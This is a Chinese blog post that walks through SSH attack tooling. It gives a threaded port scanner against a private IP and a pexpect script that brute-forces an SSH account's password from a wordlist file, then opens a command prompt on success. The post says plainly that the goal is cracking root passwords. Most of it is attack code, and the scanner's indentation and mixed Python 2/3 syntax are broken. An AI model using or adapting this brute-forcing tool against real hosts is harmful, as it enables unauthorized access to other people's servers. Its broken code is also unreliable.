ssh试探

7-12 270 views

1.端口扫描,判断22端口是否是ssh端口

# -*- coding: utf-8 -*-
from socket import *
import threading

lock = threading.Lock()
openSum = 0
threads = []
def portText(host,port):
    global openSum  # 将局部变量设置为全局变量
    try:
        s = socket(AF_INET,SOCK_STREAM)   #socket全连接方式测试端口是否开放
        s.connect((host,port))
        lock.acquire()      #取得锁
        openSum+=1      #开放端口数量+1
        print("[√] %s the %d port is open" %(host,port))
   if port == 22:
      s.send('123'.decode()) #随意向服务器发送一个字符串,判断22端口协议
      res = s.recv(100)
      print "port for Server:",res
        lock.release() #释放锁
        s.close()  #关闭连接
    except:
        pass
def main():
    setdefaulttimeout(1)
    for p in range(1,2000):
        t = threading.Thread(target=portText,args=('192.168.40.3',p))
        threads.append(t)
        t.start()
    for t in threads:
        t.join()         #join 需要等待子线程结束
    print("[*] The scan is complete!")
    print("[*] they are %d open port" %(openSum))


if __name__ == '__main__':
    main()

效果图:

对于这种端口22开放,并且使用ssh协议的,我们就可以试探下,尝试获取root密码,用密码字典破解。

2.ssh试探

在此之前,先介绍一个非常好用的模块optparse,它可以向脚本里传参数,类似shell用法。如:python 1.py  -u root -p 123 -H 10.1.1.1

先安装pexpect python里的交互模块,shell里是叫expect

# -*- coding: utf-8 -*-
import pexpect
import optparse
prompt=[pexpect.TIMEOUT,'[p|P]assword:','#','>>>','>','\$']

def send_command(child,cmd):
    child.sendline(cmd)
    index = child.expect(prompt)
    if prompt[index] == prompt[-1]:
        print('[+]connect closed')
    print(child.before.decode())
def connect(user,host,password):
    f_con = 'Are you sure you want to continue connecting'
    connstr = 'ssh ' + user + '@' + host
    child=pexpect.spawn(connstr,timeout=1)

    ret = child.expect([pexpect.TIMEOUT,f_con,'[p|P]assword:'])
    if ret == 0:
        print('[-]timt out',host)
        return
    if ret == 1:
        child.sendline('yes')
        ret = child.expect([pexpect.TIMEOUT,'[p|P]assword:'])
    if ret == 0:
        print('[-]timt out',host)
        return
    child.sendline(password)
    index=child.expect(prompt)
    if index == 0:
        child.sendline(password)
        res = child.expect(prompt)
        if prompt[res] == pexpect.TIMEOUT:
            print('[-]timt out',host)
            return
        if prompt[res] == prompt[-1] or prompt[res] == '[p|P]assword:':
            print('[-]connect failed',host)
            return
    print('[+]connect success',host)
    return child

parser = optparse.OptionParser()  
parser.add_option('-H',dest='host',type='string')  # -H参数后面接的就是host参数
parser.add_option('-u',dest='user',type='string')
# parser.add_option('-p',dest='passwd',type='string')
options,args=parser.parse_args() #通过这个函数,获取参数
host=options.host      #给参数赋值给变量
user=options.user
# passwd=options.passwd
# print(host,user,passwd)

pass_file = open('1.txt','r')   #1.txt就是密码本,逐行试探
for buf in pass_file:
    passwd=buf.strip()          #去除文本里的换行符 
    child=connect(user,host,passwd)
    if child:
        print "[+]PASSWD FOUND!\n\n------"
        print passwd         #打印找到的密码出来
        print "------"
        break
else:
    print "[-]PASSWD NO FOUND!"
if child:
    cmd = raw_input("shell you want type:") #若找出来了密码,还可以敲一个命令测试下
    send_command(child,cmd)

 

效果图:

 

python参数

一、位置参数 调用函数时根据函数定义的参数位置来传递参数。 #!/usr/bin/env python # coding=utf-8 def print_hello(name, sex): sex_dict = {1...

阅读全文

zabbix–api接口

Zabbix_api4.4官方文档 Zabbix_api3.4中文文档 一、初识api(zabbix4.4.4版本) API(Application Programming Interface,应用程序编程接口)是一些预先定义的...

阅读全文

将配置文件构造成json格式让zabbix自动发现监控项

一、简单介绍 上文我们使用了zabbix的自动发现的监控来监控服务的端口,重点写了zabbix的发现的一个原理和过程,但是实际上我们服务器的配置是比较复杂的,而...

阅读全文

欢迎留言